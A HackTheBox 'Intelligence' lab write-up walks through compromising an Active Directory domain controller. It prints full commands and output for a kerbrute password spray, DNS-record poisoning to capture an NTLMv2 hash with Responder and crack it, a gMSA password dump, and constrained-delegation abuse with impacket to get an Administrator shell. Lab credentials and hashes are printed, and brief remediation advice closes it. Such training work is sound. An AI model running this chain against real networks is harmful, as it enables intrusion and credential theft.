Skip to main content

HACKTHEBOX - INTELLIGENCE

Enumeration

PORT     STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Intelligence
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-11-29 20:47:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2023-11-29T20:36:36
|_Not valid after: 2024-11-28T20:36:36
|_ssl-date: 2023-11-29T20:49:16+00:00; +7h00m00s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2023-11-29T20:36:36
|_Not valid after: 2024-11-28T20:36:36
|_ssl-date: 2023-11-29T20:49:14+00:00; +7h00m00s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2023-11-29T20:36:36
|_Not valid after: 2024-11-28T20:36:36
|_ssl-date: 2023-11-29T20:49:16+00:00; +7h00m00s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-11-29T20:49:15+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2023-11-29T20:36:36
|_Not valid after: 2024-11-28T20:36:36
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Web Enumeration

We have an available website:

This gives us access to 2 downloadable PDF files:

One is named 10.10.10.248/documents/2020-01-30-upload.pdf:

We can deduce that the uploaded documents follow the format %Y-%m-%d-upload.pdf. We'll enumerate these documents with wfuzz:

Firstly, we'll use a bash script to generate our wordlist:

Bash output
#!/bin/bash

# Start date in MM/DD/YYYY
start="01/01/2010"

# End date in MM/DD/YYYY
end="12/31/2024"

# File to write dates to
output_file="dates.txt"

# Store start & end dates as epoch times
start_epoch=$(date +%s -d "$start")
end_epoch=$(date +%s -d "$end")

# Open output file for writing
> $output_file

# Iterate from start to end date
while [[ $start_epoch -le $end_epoch ]]; do
date=$(date +"%Y-%m-%d" -d "@$start_epoch")
echo $date >> $output_file
start_epoch=$((start_epoch + 86400)) # Add 1 day in seconds
done

Then, we use this wordlist with wfuzz:

wfuzz -c -z file,./dates.txt --hc 404 -f urls.txt http://10.10.10.248/documents/FUZZ-upload.pdf 

Output wfuzz
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://10.10.10.248/documents/FUZZ-upload.pdf
Total requests: 5479

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000003656: 200 195 L 1171 W 26086 Ch "2020-01-04"
000003654: 200 198 L 1140 W 25596 Ch "2020-01-02"
000003653: 200 208 L 1172 W 25532 Ch "2020-01-01"
000003662: 200 204 L 1130 W 25159 Ch "2020-01-10"
000003711: 200 130 L 564 W 10959 Ch "2020-02-28"
<SNIP>
000004084: 200 138 L 556 W 10208 Ch "2021-03-07"
000004059: 200 204 L 1158 W 25618 Ch "2021-02-10"
000004078: 200 134 L 573 W 10728 Ch "2021-03-01"
000004104: 200 140 L 602 W 11548 Ch "2021-03-27"
000004102: 200 210 L 1167 W 25961 Ch "2021-03-25"
000004098: 200 204 L 1164 W 25460 Ch "2021-03-21"
000004095: 200 202 L 1158 W 26622 Ch "2021-03-18"
000004087: 200 198 L 1118 W 23859 Ch "2021-03-10"

Total time: 0
Processed Requests: 5479
Filtered Requests: 5380
Requests/sec.: 0

We've found a significant number of documents. It's easier to download all of them at once for subsequent analysis. Firstly, we need to place all the found documents into a file:

<SNIP>
http://10.10.10.248/documents/2020-09-29-upload.pdf
http://10.10.10.248/documents/2020-09-22-upload.pdf
http://10.10.10.248/documents/2020-10-19-upload.pdf
http://10.10.10.248/documents/2020-11-06-upload.pdf
http://10.10.10.248/documents/2020-11-13-upload.pdf
http://10.10.10.248/documents/2020-11-11-upload.pdf
http://10.10.10.248/documents/2020-11-10-upload.pdf
http://10.10.10.248/documents/2020-11-01-upload.pdf
http://10.10.10.248/documents/2020-11-03-upload.pdf
http://10.10.10.248/documents/2020-11-30-upload.pdf
http://10.10.10.248/documents/2020-11-24-upload.pdf
<SNIP>

Then, we can use wget to download them:

wget -i urls.txt -P pdfs/

All the documents are located in the pdfs/ folder:

ls pdfs     
2020-01-01-upload.pdf 2020-02-11-upload.pdf 2020-03-17-upload.pdf 2020-05-11-upload.pdf 2020-06-07-upload.pdf 2020-06-28-upload.pdf 2020-08-09-upload.pdf 2020-09-16-upload.pdf 2020-11-06-upload.pdf 2020-12-24-upload.pdf 2021-02-21-upload.pdf
2020-01-02-upload.pdf 2020-02-17-upload.pdf 2020-03-21-upload.pdf 2020-05-17-upload.pdf 2020-06-08-upload.pdf 2020-06-30-upload.pdf 2020-08-19-upload.pdf 2020-09-22-upload.pdf 2020-11-10-upload.pdf 2020-12-28-upload.pdf 2021-02-25-upload.pdf
2020-01-04-upload.pdf 2020-02-23-upload.pdf 2020-04-02-upload.pdf 2020-05-20-upload.pdf 2020-06-12-upload.pdf 2020-07-02-upload.pdf 2020-08-20-upload.pdf 2020-09-27-upload.pdf 2020-11-11-upload.pdf 2020-12-30-upload.pdf 2021-03-01-upload.pdf
2020-01-10-upload.pdf 2020-02-24-upload.pdf 2020-04-04-upload.pdf 2020-05-21-upload.pdf 2020-06-14-upload.pdf 2020-07-06-upload.pdf 2020-09-02-upload.pdf 2020-09-29-upload.pdf 2020-11-13-upload.pdf 2021-01-03-upload.pdf 2021-03-07-upload.pdf
2020-01-20-upload.pdf 2020-02-28-upload.pdf 2020-04-15-upload.pdf 2020-05-24-upload.pdf 2020-06-15-upload.pdf 2020-07-08-upload.pdf 2020-09-04-upload.pdf 2020-09-30-upload.pdf 2020-11-24-upload.pdf 2021-01-14-upload.pdf 2021-03-10-upload.pdf
2020-01-22-upload.pdf 2020-03-04-upload.pdf 2020-04-23-upload.pdf 2020-05-29-upload.pdf 2020-06-21-upload.pdf 2020-07-20-upload.pdf 2020-09-05-upload.pdf 2020-10-05-upload.pdf 2020-11-30-upload.pdf 2021-01-25-upload.pdf 2021-03-18-upload.pdf
2020-01-23-upload.pdf 2020-03-05-upload.pdf 2020-05-01-upload.pdf 2020-06-02-upload.pdf 2020-06-22-upload.pdf 2020-07-24-upload.pdf 2020-09-06-upload.pdf 2020-10-19-upload.pdf 2020-12-10-upload.pdf 2021-01-30-upload.pdf 2021-03-21-upload.pdf
2020-01-25-upload.pdf 2020-03-12-upload.pdf 2020-05-03-upload.pdf 2020-06-03-upload.pdf 2020-06-25-upload.pdf 2020-08-01-upload.pdf 2020-09-11-upload.pdf 2020-11-01-upload.pdf 2020-12-15-upload.pdf 2021-02-10-upload.pdf 2021-03-25-upload.pdf
2020-01-30-upload.pdf 2020-03-13-upload.pdf 2020-05-07-upload.pdf 2020-06-04-upload.pdf 2020-06-26-upload.pdf 2020-08-03-upload.pdf 2020-09-13-upload.pdf 2020-11-03-upload.pdf 2020-12-20-upload.pdf 2021-02-13-upload.pdf 2021-03-27-upload.pdf

Password spray and Foothold

Once done, we analyze all the documents until finding an interesting one:

This provides us with the default password:

Welcome to Intelligence Corp!
Please login using your username and the default password of:
NewIntelligenceCorpUser9876

We also find another hidden message in a different PDF:

We have a default password but lack a known username on the AD (Active Directory).

To find them, we need to use the tool exiftool. This tool provides an author name, corresponding to a user in the AD:

Output exiftool
exiftool 2020-01-01-upload.pdf 
ExifTool Version Number : 12.67
File Name : 2020-01-01-upload.pdf
Directory : .
File Size : 27 kB
File Modification Date/Time : 2021:04:01 19:00:00+02:00
File Access Date/Time : 2023:11:30 19:32:20+01:00
File Inode Change Date/Time : 2023:11:30 19:06:49+01:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.5
Linearized : No
Page Count : 1
Creator : William.Lee

However, there are numerous files. We create a script to automate the process:

Output bash exiftool
#!/bin/bash

# Folder containing the pdfs
FOLDER="/HTB/INTELLIGENCE/pdfs"

# Loop on all files in the folder
for file in "$FOLDER"/*.pdf; do

# Creator field extraction
creator=$(exiftool "$file" | grep Creator | cut -d: -f2 | tr -d ' ')

# Displays the creator in the term
echo "$creator"

done

Once the script execution is complete, we obtain a list of users.

./script_exiftool          
William.Lee
Scott.Scott
Jason.Wright
Veronica.Patel
Jennifer.Thomas
Danny.Matthews
David.Reed
Stephanie.Young
Daniel.Shelton
Jose.Williams
John.Coleman
Jason.Wright=
Jose.Williams
[...]

We have a password and a list of users. We can now perform a password spray.

Passwordspray

Password spray is an attack that involves testing a single password across multiple users.

For this, we'll use kerbrute.

Output kerbrute
kerbrute passwordspray --dc 10.10.10.248 -d intelligence.htb ./user_wordlist 'NewIntelligenceCorpUser9876' -v 

__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 11/30/23 - Ronnie Flathers @ropnop

2023/11/30 10:16:30 > Using KDC(s):
2023/11/30 10:16:30 > 10.10.10.248:88

[...]
2023/11/30 10:16:32 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:32 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:32 > [!] [email protected]:NewIntelligenceCorpUser9876 - [Root cause: KDC_Error] KDC_Error: AS Exchange Error: kerberos error response from KDC: KRB Error: (37) KRB_AP_ERR_SKEW Clock skew too great
2023/11/30 10:16:32 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:32 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:32 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - [Root cause: KDC_Error] KDC_Error: AS Exchange Error: kerberos error response from KDC: KRB Error: (37) KRB_AP_ERR_SKEW Clock skew too great
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
2023/11/30 10:16:33 > [!] [email protected]:NewIntelligenceCorpUser9876 - Invalid password
[...]

We encountered the error KRB_AP_ERR_SKEW Clock skew too great for the user [email protected]. This means:

  1. Our system time differs significantly from the Kerberos Authentication Service (AS) time.
  2. The password for [email protected] is indeed NewIntelligenceCorpUser9876!

After correcting the time using ntpdate <IP>, we reran the command:

2023/11/30 18:17:40 >  [+] VALID LOGIN:	 [email protected]:NewIntelligenceCorpUser9876

We then listed the shares using Tiffany's account:

Output smbclient
smbclient -L intelligence.htb -U [email protected]
Password for [[email protected]]:

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
IT Disk
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Users Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to intelligence.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

In the Users share, we found Tiffany's documents, including the user flag!

Output
smbclient //intelligence.htb/Users -U [email protected]
Password for [[email protected]]:
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Mon Apr 19 03:20:26 2021
.. DR 0 Mon Apr 19 03:20:26 2021
Administrator D 0 Mon Apr 19 02:18:39 2021
All Users DHSrn 0 Sat Sep 15 09:21:46 2018
Default DHR 0 Mon Apr 19 04:17:40 2021
Default User DHSrn 0 Sat Sep 15 09:21:46 2018
desktop.ini AHS 174 Sat Sep 15 09:11:27 2018
Public DR 0 Mon Apr 19 02:18:39 2021
Ted.Graves D 0 Mon Apr 19 03:20:26 2021
Tiffany.Molina D 0 Mon Apr 19 02:51:46 2021

3770367 blocks of size 4096. 1442803 blocks available
smb: \Tiffany.Molina\Desktop\> type user.txt
type: command not found
smb: \Tiffany.Molina\Desktop\> get user.txt
getting file \Tiffany.Molina\Desktop\user.txt of size 34 as user.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)
smb: \Tiffany.Molina\Desktop\> exit

Privilege escalation

Abuse of a planned execution powershell script

Within the IT share we discovered earlier, there's a file named downdetector.ps1:"

Output powershell
��# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <[email protected]>' -To 'Ted Graves <[email protected]>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

This script runs every 5 minutes and:

  1. Retrieves all DNS records starting with web.
  2. Sends a web request with credentials, particularly using the flag -UseDefaultCredentials.

Therefore, we need to (assuming we have the rights, which is the default for all users) create a DNS record starting with web that points to our machine. To achieve this, we'll use dnstool from the 'krbrelayx' suite (https://github.com/dirkjanm/krbrelayx):

Output dnstool
python3.11 dnstool.py -u INTELLIGENCE.HTB\\Tiffany.Molina -p NewIntelligenceCorpUser9876 -r web.intelligence.htb -d intelligence.htb -a add -t A -d 10.10.16.2 10.10.10.248                 
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Once done, we launch both a responder and Wireshark:

sudo responder -I tun0 -v

We wait for 5 minutes, then an NTLM hash appears in the responder terminal:

Output responder
[HTTP] Sending NTLM authentication request to 10.10.10.248
[HTTP] GET request from: ::ffff:10.10.10.248 URL: /
[HTTP] NTLMv2 Client : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:2565d63fadea6c38:E6471AAF540DC28BFF7E11C14AE08189:0101000000000000361EE03BC023DA01DC11C8A289CAD23D0000000002000800330032004D00350001001E00570049004E002D00390034005000420032005500390048004F004C00350004001400330032004D0035002E004C004F00430041004C0003003400570049004E002D00390034005000420032005500390048004F004C0035002E00330032004D0035002E004C004F00430041004C0005001400330032004D0035002E004C004F00430041004C0008003000300000000000000000000000002000004931B9AAA2A7488B8D7897523C51342AFFE0F562B68231FFC6FA505326E686070A001000000000000000000000000000000000000900420048005400540050002F0077006500620069006E007400720061006E00650074002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000

On wireshark :

We notice that the responder requested authentication from the DC, and the DC responded with a NetNTLM hash.

We can then use john to crack the hash:

Output john
john --wordlist=/usr/share/wordlists/rockyou.txt ntlm_hash 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Mr.Teddy (Ted.Graves)
1g 0:00:00:03 DONE (2023-11-30 22:59) 0.2652g/s 2869Kp/s 2869Kc/s 2869KC/s Mrz.deltasigma..Mkaylen07
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

Lateral movement via gMSA

Once we have authentication information for the user Ted.Graves, we attempt to connect via evil-winrm without success.

We then run bloodhound-python which allows us, without SharpHound to retrieve AD information:

Output bloodhound-python
bloodhound-python -d INTELLIGENCE.HTB -ns 10.10.10.248 -u Ted.Graves -p Mr.Teddy
INFO: Found AD domain: intelligence.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.intelligence.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc.intelligence.htb
INFO: Found 43 users
INFO: Found 55 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: svc_int.intelligence.htb
INFO: Querying computer: dc.intelligence.htb
WARNING: Could not resolve: svc_int.intelligence.htb: The DNS query name does not exist: svc_int.intelligence.htb.
INFO: Done in 00M 03S

We import the results into our BloodHound:

We find an account named svc_int for which we can see the gMSA password.

Therefore, we use gMSADumper to retrieve the password:

Output gmsadumper
python3.11 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb 
Users or groups who can read password for svc_int$:
> DC$
> itsupport
svc_int$:::6c986cdcb965f2607f894fb257417f8e
svc_int$:aes256-cts-hmac-sha1-96:13e30243822cc7540f660c3f53eabab0b22fee43503dc9b52a760c8309b2ab3c
svc_int$:aes128-cts-hmac-sha1-96:472b1fa3589aed96333772ce3d620bae

We then use the first hash 6c986cdcb965f2607f894fb257417f8e (NTLM) to authenticate ourselves as svc_int

Privilege escalation with Kerberos Constrained Delegation

By performing an ldapsearch we find the entry related to svc_int:

Output ldapsearch
# svc_int, Managed Service Accounts, intelligence.htb
dn: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
objectClass: computer
objectClass: msDS-GroupManagedServiceAccount
cn: svc_int
distinguishedName: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=h
tb
instanceType: 4
whenCreated: 20210419004958.0Z
whenChanged: 20210614140522.0Z
uSNCreated: 12846
uSNChanged: 28709
name: svc_int
objectGUID:: eaCA8SbzskmEoTSCQgjWQg==
userAccountControl: 16781312
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
localPolicyFlags: 0
pwdLastSet: 132681531223540162
primaryGroupID: 515
objectSid:: AQUAAAAAAAUVAAAARobx+nQXDcpGY+TMeAQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: svc_int$
sAMAccountType: 805306369
dNSHostName: svc_int.intelligence.htb
objectCategory: CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configurat
ion,DC=intelligence,DC=htb
isCriticalSystemObject: FALSE
dSCorePropagationData: 16010101000000.0Z
msDS-AllowedToDelegateTo: WWW/dc.intelligence.htb
msDS-SupportedEncryptionTypes: 28
msDS-ManagedPasswordId:: AQAAAEtEU0sCAAAAZwEAABsAAAAQAAAAWa6dT0SPVr+SpfQILta2E
QAAAAAiAAAAIgAAAGkAbgB0AGUAbABsAGkAZwBlAG4AYwBlAC4AaAB0AGIAAABpAG4AdABlAGwAbA
BpAGcAZQBuAGMAZQAuAGgAdABiAAAA
msDS-ManagedPasswordPreviousId:: AQAAAEtEU0sCAAAAZwEAABkAAAAIAAAAWa6dT0SPVr+Sp
fQILta2EQAAAAAiAAAAIgAAAGkAbgB0AGUAbABsAGkAZwBlAG4AYwBlAC4AaAB0AGIAAABpAG4AdA
BlAGwAbABpAGcAZQBuAGMAZQAuAGgAdABiAAAA
msDS-ManagedPasswordInterval: 30
msDS-GroupMSAMembership:: AQAEgBQAAAAAAAAAAAAAACQAAAABAgAAAAAABSAAAAAgAgAABABQ
AAIAAAAAACQA/wEPAAEFAAAAAAAFFQAAAEaG8fp0Fw3KRmPkzOgDAAAAACQA/wEPAAEFAAAAAAAFF
QAAAEaG8fp0Fw3KRmPkzHYEAAA=

We're particularly interested in these two attributes:

userAccountControl: 16781312
msDS-AllowedToDelegateTo: WWW/dc.intelligence.htb
userAccountControl and msDS-AllowedToDelegateTo

The userAccountControl attribute defines a user's rights. Its value, encoded in decimal, represents the privileges associated with that account:

Here are the privileges and their values:

The msDS-AllowedToDelegateTo attribute specifies the accounts to which a user can delegate its rights. Here, we see that svc_int can delegate its rights to the principal WWW/dc.intelligence.htb

To understand this userAccessControl value, we use the following bash script:

Output script bash
#!/bin/bash

declare -A flags=(
[1]="SCRIPT"
[2]="ACCOUNTDISABLE"
[8]="HOMEDIR_REQUIRED"
[16]="LOCKOUT"
[32]="PASSWD_NOTREQD"
[64]="PASSWD_CANT_CHANGE"
[128]="ENCRYPTED_TEXT_PWD_ALLOWED"
[256]="TEMP_DUPLICATE_ACCOUNT"
[512]="NORMAL_ACCOUNT"
[2048]="INTERDOMAIN_TRUST_ACCOUNT"
[4096]="WORKSTATION_TRUST_ACCOUNT"
[8192]="SERVER_TRUST_ACCOUNT"
[65536]="DONT_EXPIRE_PASSWORD"
[131072]="MNS_LOGON_ACCOUNT"
[262144]="SMARTCARD_REQUIRED"
[524288]="TRUSTED_FOR_DELEGATION"
[1048576]="NOT_DELEGATED"
[2097152]="USE_DES_KEY_ONLY"
[4194304]="DONT_REQ_PREAUTH"
[8388608]="PASSWORD_EXPIRED"
[16777216]="TRUSTED_TO_AUTH_FOR_DELEGATION"
[33554432]="PARTIAL_SECRETS_ACCOUNT"
)

uac_value=$1

if [[ $uac_value =~ ^[0-9]+$ ]]; then
for flag in "${!flags[@]}"; do
if (( $uac_value & $flag )); then
echo "${flags[$flag]}"
fi
done
else
echo "Veuillez entrer une valeur numérique pour userAccountControl."
fi

Then, we can execute the script on a normal account, for example:

./UAC_decrypt.sh 66048   
NORMAL_ACCOUNT
DONT_EXPIRE_PASSWORD

Our script works. We can execute it on the svc_int account:

./UAC_decrypt.sh 16781312
WORKSTATION_TRUST_ACCOUNT
TRUSTED_TO_AUTH_FOR_DELEGATION

The flags correspond to constrained delegation for one or more specified services (https://learn.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/configure-kerberos-delegation-group-managed-service-accounts).

Therefore, it's possible to use two different techniques for privilege escalation:

  • Service for User to Self (S4U2self) : If a service account has a userAccountControl value containing TRUSTED_TO_AUTH_FOR_DELEGATION, it means this account is allowed to authenticate on behalf of other users without their password. It can obtain security tokens (TGS) for these users to access resources.

  • Service for User to Proxy (S4U2proxy) : A service account can obtain a service ticket (TGS) on behalf of any user for the service defined in msDS-AllowedToDelegateTo. To do this, it first needs a TGS from that user to itself, but it can use S4U2self to get this TGS before requesting the other. Then, it can act on behalf of the user to access that specific service, using the rights granted by the service account.

We'll proceed with the following technique:

To execute this attack, we'll use impacket:

Output impacket-getST
impacket-getST -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int -hashes :6c986cdcb965f2607f894fb257417f8e
Impacket v0.11.0 - Copyright 2023 Fortra

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

Once we obtain the ticket, we can connect as Administrator:

export KRB5CCNAME=Administrator.ccache      
wmiexec.py -k -no-pass dc.intelligence.htb
Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>

We've obtained a shell as Administrator!

Rémédiation

Comment se protéger de cette faille ?

  1. Use the "This account is sensitive and cannot be delegated" flag on critical AD accounts.

  1. Grant the ReadGMSAPassword rights only to accounts that manage service accounts.

  2. Limit service accounts with the TRUSTED_TO_AUTH_FOR_DELEGATION right.

  3. Implement the principle of least privilege globally across the IT infrastructure.